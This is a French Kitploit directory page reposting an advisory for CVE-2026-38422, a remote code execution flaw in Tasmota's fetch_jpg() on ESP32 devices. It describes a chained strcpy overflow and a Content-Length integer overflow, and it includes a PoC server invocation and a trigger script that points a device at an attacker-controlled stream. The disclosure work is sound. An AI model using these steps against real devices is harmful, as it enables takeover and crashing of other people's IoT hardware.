Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Exécution de code à distance via des débordements de tampon combinés dans Tasmota fetch_jpg() (Tasmota <= 15.3.0.3) | Kitploit
Outils/GitHubGitHub/sermikr0/cve-2026-38422
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité Matériel et IoTOutil d'Accès à DistanceExploitation de Binaires
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Exécution de code à distance via des débordements de tampon combinés dans Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-38422 : Exécution de code à distance via des débordements de tampon combinés dans la fonction fetch_jpg() de Tasmota

CVE : CVE-2026-38422
Sévérité : Critique (CVSS 9,8)
Produit : Arendst Tasmota
Version affectée : <= 15.3.0.3
Fichier : tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Fonction : fetch_jpg()
Auteur : Saidakbarxon Maxsudxonov
Divulgation : Responsable — signalé à Tasmota avant publication


Résumé

La fonction fetch_jpg() du pilote de scripteur de Tasmota (xdrv_10_scripter.ino) contient deux vulnérabilités de corruption mémoire qui, combinées, permettent l'exécution de code à distance sur les appareils basés sur ESP32 exécutant Tasmota <= 15.3.0.3 :

  1. Phase 1 (cas 0) : Débordement strcpy() dans un tampon boundary[] fixe de 40 octets — corrompt la mémoire heap adjacente, y compris les pointeurs de vtable WiFiClient/HTTPClient (voir aussi CVE-2026-38426)
  2. Phase 2 (cas 2) : Dépassement d'entier uint16_t sur Content-Length — alloue un tampon trop petit provoquant la corruption de l'état du flux (voir aussi CVE-2026-38427)

Utilisées ensemble lors d'une seule attaque, ces deux primitives maximisent la corruption du heap et augmentent significativement la probabilité d'obtenir une exécution de code arbitraire.


Chaîne de vulnérabilité

root@kitploit:~
Serveur MJPEG de l'attaquant
       │
       │ Phase 1 : Réponse HTTP 200 avec une chaîne de séparation longue
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ caractères)
       │   → strcpy(boundary[40], 50_caractères) → DÉBORDEMENT
       │   → Pointeur vtable WiFiClient partiellement écrasé
       ▼
  Heap ESP32 corrompu
       │
       │ Phase 2 : Image MJPEG avec Content-Length > 65535
       │   Content-Length : 65537
       │   → uint16_t size = 1 (dépassement)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 octets restent dans le flux → corruption heap/flux
       ▼
  Double corruption → Exécution de code / Déni de service garanti

Preuve de concept

root@kitploit:~
# Attaque combinée — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

Le serveur PoC :

  1. Accepte la connexion de Tasmota (déclenchement de fetchjp())
  2. Phase 1 : Envoie une réponse HTTP 200 initiale avec une chaîne de séparation de 80 caractères (débordement)
  3. Phase 2 : Envoie des images MJPEG avec Content-Length : 65537 (dépassement)

Voir CVE-2026-38422_poc.py pour l'implémentation complète.


Déclenchement via un script Tasmota

root@kitploit:~
>D
>B
fetchjp(ADRESSE_ATTAQUANT:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

L'appareil doit exécuter un script Tasmota utilisant fetchjp(). L'attaquant contrôle le serveur auquel l'appareil se connecte (ou effectue une attaque MITM sur une connexion existante).


Impact

  • Confidentialité : Élevée — exécution de code sur ESP32, accès aux secrets/identifiants de l'appareil
  • Intégrité : Élevée — prise de contrôle totale de l'appareil
  • Disponibilité : Élevée — plantage/boucle de redémarrage garantie
  • Vecteur d'attaque : Réseau (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Score CVSS : 9,8 Critique

Appareils affectés

Tout appareil Tasmota basé sur ESP32 exécutant une version <= 15.3.0.3 avec le support du scripteur activé et un script utilisant fetchjp() pour se connecter à un serveur MJPEG externe.


Chronologie

  • 2026-03-29 : Les deux vulnérabilités découvertes et signalées à MITRE
  • 2026-03-29 : CVE-2026-38422 attribué
  • 2026-05-xx : Correctif publié par Tasmota (v15.3.0.4+)

Références

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Lié : CVE-2026-38426 (débordement strcpy)
  • Lié : CVE-2026-38427 (dépassement uint16_t)
Télécharger l’outil